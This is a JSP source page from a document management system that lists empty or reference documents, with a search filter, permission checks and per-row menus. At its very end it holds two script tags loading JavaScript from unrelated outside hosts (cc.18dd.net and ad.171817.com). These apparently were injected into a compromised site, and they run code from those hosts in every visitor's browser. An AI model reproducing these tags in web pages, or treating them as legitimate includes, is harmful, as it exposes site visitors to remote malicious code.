<%
/*
 * @(#)ListDmsEmptyDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsEmptyDocument.jsp

  This is a ListDmsEmptyDocument page.  It shows the active documents' record in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      07/11/2003
    @version            $Revision: 1.35.2.25 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsEmptyDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsEmptyDocumentForm"/>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/

  String      LIST_NAME = "dmsEmptyDocumentList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.priority", "PRIORITY"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.item_status", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.reference_no", "REFERENCE_NO"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}                            
                          };

  String[][] SEARCH_MAP = { {"dms.label.reference_no", "REFERENCE_NO"},
                            {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.description", "DESCRIPTION"}
                          };

  int     COLUMN_OFFSET = 3;

  String pageURL ="";

  String sCurFunctionCode = listDmsEmptyDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): listDmsEmptyDocumentForm.getCurFunctionCode();

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String rootID = listDmsEmptyDocumentForm.getRootID();
  String parentID = listDmsEmptyDocumentForm.getParentID();

  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
   DocumentValidateManager docValidateManager = new DocumentValidateManager(sessionContainer,conn);
   String showDefaultProfile = com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_LIST);

   if(!Utility.isEmpty(showDefaultProfile)){
    String[] checkCustomFieldArray = (String[]) TextUtility.splitString(showDefaultProfile, "|");
    if(checkCustomFieldArray.length != 3 ){
    showDefaultProfile += "||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
    }
  }else{
    showDefaultProfile ="||"+DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC;
  }
  //joan.xiong add code for bug EIP-754 to filter showDefaultProfile string. 2006/11/07
  String[] checkShowDefaultProfile = (String[]) TextUtility.splitString(showDefaultProfile, "|");
  if(!Utility.isEmpty(checkShowDefaultProfile[1]) && checkShowDefaultProfile[1].indexOf("2")>-1){
    showDefaultProfile=checkShowDefaultProfile[0]+"|2|"+checkShowDefaultProfile[2];
  }else{
    showDefaultProfile=checkShowDefaultProfile[0]+"|0|"+checkShowDefaultProfile[2];
  }
  //joan.xiong add code end

  pageURL ="ListDmsEmptyDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  pageURL =java.net.URLEncoder.encode(pageURL);

%>
<script language="javascript">
<!--

-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsEmptyDocument" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property='curFunctionCode' value='<%=sCurFunctionCode%>'/>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
        <layout:returnButton className="but-standard"/>
        <html:permissionButton label="dms.label.new_reference" right="I" link='<%="MaintDmsEmptyDocument.do?opMode="+DmsOperationConstant.CREATE_EMPTY_FILE+"&documentType="+DmsDocument.DOCUMENT_TYPE+"&rootID="+rootID+"&parentID="+parentID+"&curFunctionCode="+sCurFunctionCode+"&returnTo="+pageURL%>'/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<%try {%>
<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsEmptyDocumentForm, '${listDmsEmptyDocumentForm.sortAttribute}', '${listDmsEmptyDocumentForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsEmptyDocumentForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsEmptyDocumentForm" editLabel="" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsEmptyDocumentForm.getSortAttribute()%>" sortOrder="<%=listDmsEmptyDocumentForm.getSortOrder()%>" copyColumn="false"  showValue="<%=showDefaultProfile%>" displayObjListName="DMS_DEF_PROFILE" showAfter="5"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>"  onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">
    <td align="center">
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <% //Details for Menu items
    DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
    if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
       checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) dmsDocument).getCheckoutID());
    }

    //Permission string
    DmsDocument documentRoot = docRetrievalManager.getRootFolderByRootID(((DmsDocument) dmsDocument).getRootID());
    String permission = "";
    //String sCurFunctionCode="";
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      permission = "PERSONAL";
      //sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((DmsDocument) dmsDocument).getID());
      //sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }    %>
    <td align="center">
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) { %>
      <a href="" onclick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<bean:write name='dmsDocument' property='documentType'/>\',  \'<bean:write name='dmsDocument' property='ID'/>\', \'<bean:write name='dmsDocument' property='parentID'/>\', \'<bean:write name='dmsDocument' property='rootID'/>\', \'<bean:write name='listLoopCnt'/>\', \'<bean:write name='dmsDocument' property='itemStatus'/>\', \'<%=checkoutHistory.getCheckoutPersonID()%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%="REFERENCE_FILE"%>\',\'\',\'<%=pageURL%>\',\'\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
    </td>
    <td align="center"><%
      if (GlobalConstant.PRIORITY_HIGH.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"))%>'/><%
      } else if (GlobalConstant.PRIORITY_MEDIUM.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"))%>'/><%
      } else if (GlobalConstant.PRIORITY_LOW.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"))%>'/><%
      }
    %>
    </td>
    <td width="200" nowrap>
      <nobr><dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>'/></nobr>
    </td>
	<td align="center" class="bodyVerySmall" width="40" nowrap>
    <dms:documentStatus/>
    </td>
    <td>
      <% if (((DmsDocument)dmsDocument).getParentID().intValue() !=0 ) { %>
      <dms:locationPath parentID="<%=((DmsDocument)dmsDocument).getParentID()%>" rootID="<%=((DmsDocument)dmsDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag' returnTo='<%=pageURL%>' />
      <%}else{%>
      <bean:message key='dms.label.root'/>
      <%}%>
    </td>
    <dms:commonIndex id="setting" includeSystemProfile="true" enableDisplayFilter="true" documentBean="dmsDocument">
    <td><dms:commonIndexValue/></td>
    </dms:commonIndex>
    <td align="center" nowrap><bean:write name='dmsDocument' property='referenceNo'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='dmsDocument' property='updaterName'/></td>    
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsEmptyDocumentForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

<br>
<table cellpadding="0" cellspacing="0" border="0" align="center" width="100%">
  <tr>
    <td><jsp:include page="AlertLegend.jsp"/></td>
  </tr>
  <tr>
    <td align="center"></td>
  </tr>
</table>
<%}catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
    }%>

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>